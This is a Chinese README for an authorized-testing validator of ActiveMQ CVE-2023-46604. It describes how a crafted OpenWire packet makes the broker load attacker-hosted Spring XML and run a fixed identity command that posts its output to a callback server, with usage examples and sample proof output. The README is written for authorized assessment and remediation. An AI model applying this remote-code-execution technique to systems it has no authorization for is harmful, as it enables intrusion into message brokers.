一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器,在内存中生成针对目标的 Spring XML,发送精心构造的 OpenWire 数据包,将回调与唯一令牌关联,并写入 CSV/JSON 证据。
该项目专为授权渗透测试和资产清单验证而设计。它刻意不实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。
提供两种固定的验证模式:
rce 执行一个固定的、只读的身份探测命令,并将其输出返回给内置 HTTP 服务器。回调可确认在 ActiveMQ 服务上下文中执行了操作系统命令。xml 提供一个空的 Spring 上下文。获取行为可确认精心构造的 OpenWire 消息导致目标实例化了 ClassPathXmlApplicationContext 并检索了攻击者控制的 XML,而无需启动进程。无需单独创建或托管任何 XML 文件。
--fail-on-vuln 退出码默认 OpenWire 端口为 61616,但也支持非默认端口。
示例中使用仅用于文档的地址;请将其替换为您已授权的资产。
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616 \
--callback-host 192.0.2.50
脚本会自动在 TCP/8000 上启动回调服务器,提供生成的 XML,发送 OpenWire 数据包,等待证据,打印结果表,并写入:
activemq-cve-2023-46604-results.csv
python3 activemq_validator.py \
--authorized \
--target mq01.example.test:61616 \
--target mq02.example.test:61616 \
--target tcp://192.0.2.23:61500 \
--callback-host 192.0.2.50 \
--workers 4 \
--json-output results.json
创建 targets.txt:
# 每行一个明确授权的主机
mq01.example.test:61616
192.0.2.21:61616
tcp://192.0.2.22:61500
ssl://mq-secure.example.test:61617
运行:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--http-port 8000 \
--platform linux \
--proof rce \
--workers 8 \
--wait 15 \
--output findings.csv \
--json-output findings.json
目标文件可以包含空行和以 # 开头的注释。刻意不支持 CIDR 扩展;请明确枚举已授权的资产清单。
对于简单的路由网络,可省略 --callback-host:
python3 activemq_validator.py \
--authorized \
--target 192.0.2.10:61616
该工具会选择用于向第一个目标路由的本地源地址。在通过 NAT、VPN、容器、跳板机或多宿主系统进行测试时,请指定 --callback-host。
python3 activemq_validator.py \
--authorized \
--target 192.0.2.30:61616 \
--callback-host 192.0.2.50 \
--platform windows \
--proof rce
Windows 探测命令使用一个固定的、非交互式 PowerShell 命令来返回服务身份、计算机名和操作系统版本。它不提供交互式 Shell。
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--proof xml
此模式不会实例化 ProcessBuilder。
使用 ssl:// 目标:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50
对于具有不受信任证书的内部监听器:
python3 activemq_validator.py \
--authorized \
--target ssl://mq-secure.example.test:61617 \
--callback-host 192.0.2.50 \
--tls-no-verify
--tls-no-verify 仅影响 OpenWire TLS 连接。回调服务器使用 HTTP。
| 状态 | 含义 |
|---|---|
CONFIRMED_VULNERABLE_RCE | 目标获取了其 XML,且固定身份命令返回了证据。 |
CONFIRMED_VULNERABLE_XML_LOAD | 在 xml 模式下,目标获取了唯一的 XML 文档。 |
VULNERABLE_XML_LOAD_ONLY | 在 rce 模式下,发生了 XML 检索但命令回调未发生。已确认易受攻击的类实例化路径;回调工具、出口流量或进程执行可能受到限制。 |
NOT_CONFIRMED | 数据包已发送,但在截止时间前未收到关联的 HTTP 证据。这不能证明主机已修补。 |
UNREACHABLE | TCP/TLS 连接或数据包发送失败。 |
已修补的代理、错误的端口、出口过滤、路由问题、TLS 不匹配和端点控制都可能影响基于回调的验证。请保留 CSV/JSON 时间戳和回调输出作为报告证据。
Linux 身份探测命令返回的输出类似于:
CVE-2023-46604 RCE CONFIRMED
uid=997(activemq) gid=997(activemq) groups=997(activemq)
user=activemq
host=mq01
os=Linux 5.15.0-...
它会尝试使用 curl、wget 和 BusyBox wget 进行 HTTP POST。如果 XML 被获取但这些客户端均不可用,则结果为 VULNERABLE_XML_LOAD_ONLY 而非假阴性。
0:验证完成,或发现漏洞但未使用 --fail-on-vuln2:发现至少一个漏洞结果且提供了 --fail-on-vulnCI 使用示例:
python3 activemq_validator.py \
--authorized \
--targets-file targets.txt \
--callback-host 192.0.2.50 \
--fail-on-vuln
CVE-2023-46604 影响 Java OpenWire 反序列化。验证器发送一个松散编组的 OpenWire ExceptionResponse,其异常类为:
org.springframework.context.support.ClassPathXmlApplicationContext
异常消息是生成的 Spring XML 的唯一 URL。易受攻击的 ActiveMQ 代码会使用该 URL 实例化攻击者选择的类。在 rce 模式下,Spring 上下文启动一个固定的 ProcessBuilder 探测命令;在 xml 模式下,上下文为空。
每个目标都会收到不同的令牌,例如:
http://192.0.2.50:8000/poc/<unique-token>.xml
http://192.0.2.50:8000/cb/<same-token>
这使得并发回调可以归因于正确的目标。
--authorized 必需的授权确认
-t, --target VALUE 明确目标;可重复
-T, --targets-file FILE 每行一个明确目标;可重复
--default-port PORT 默认 61616
--tls 对所有目标使用 TLS
--tls-no-verify 禁用 OpenWire TLS 证书验证
--callback-host HOST 目标用于 HTTP 回调的地址
--bind-host HOST 本地 HTTP 绑定地址;默认 0.0.0.0
--http-port PORT 本地 HTTP 端口;默认 8000;0 选择空闲端口
--proof rce|xml 固定验证模式;默认 rce
--platform linux|windows RCE 模式的目标操作系统;默认 linux
--workers N 并行工作线程;最大 32
--connect-timeout SECONDS TCP/TLS 超时
--wait SECONDS 回调收集窗口
--retries N 数据包发送尝试次数,1 到 3 次
--retry-delay SECONDS 尝试之间的延迟
-o, --output FILE CSV 证据输出位置
--json-output FILE 可选的 JSON 输出位置
--verbose 显示 HTTP 请求日志
--fail-on-vuln 发现漏洞结果时退出码为 2
python3 -m unittest discover -s tests -v
测试验证目标解析、CIDR 拒绝、XML 格式正确性以及 OpenWire 帧结构,无需联系任何目标。
将 ActiveMQ 升级到已修复且当前受支持的版本。Apache 公告将当时当前分支的修复版本确定为 ActiveMQ 5.15.16、5.16.7、5.17.6、5.18.3 和 6.0.0,以及 Artemis 2.31.2。同时将 OpenWire 监听器限制为受信任的客户端,并监控意外的出站 XML 检索。
本仓库用于防御性验证和授权安全评估。它刻意省略了:
--command 执行固定身份探测命令足以证明远程命令执行和服务账户影响,而无需建立交互式访问。
https://activemq.apache.org/news/cve-2023-46604https://activemq.apache.org/components/classic/securityhttps://github.com/apache/activemqhttps://github.com/vulhub/vulhub/tree/master/activemq/CVE-2023-46604MIT。参见 LICENSE。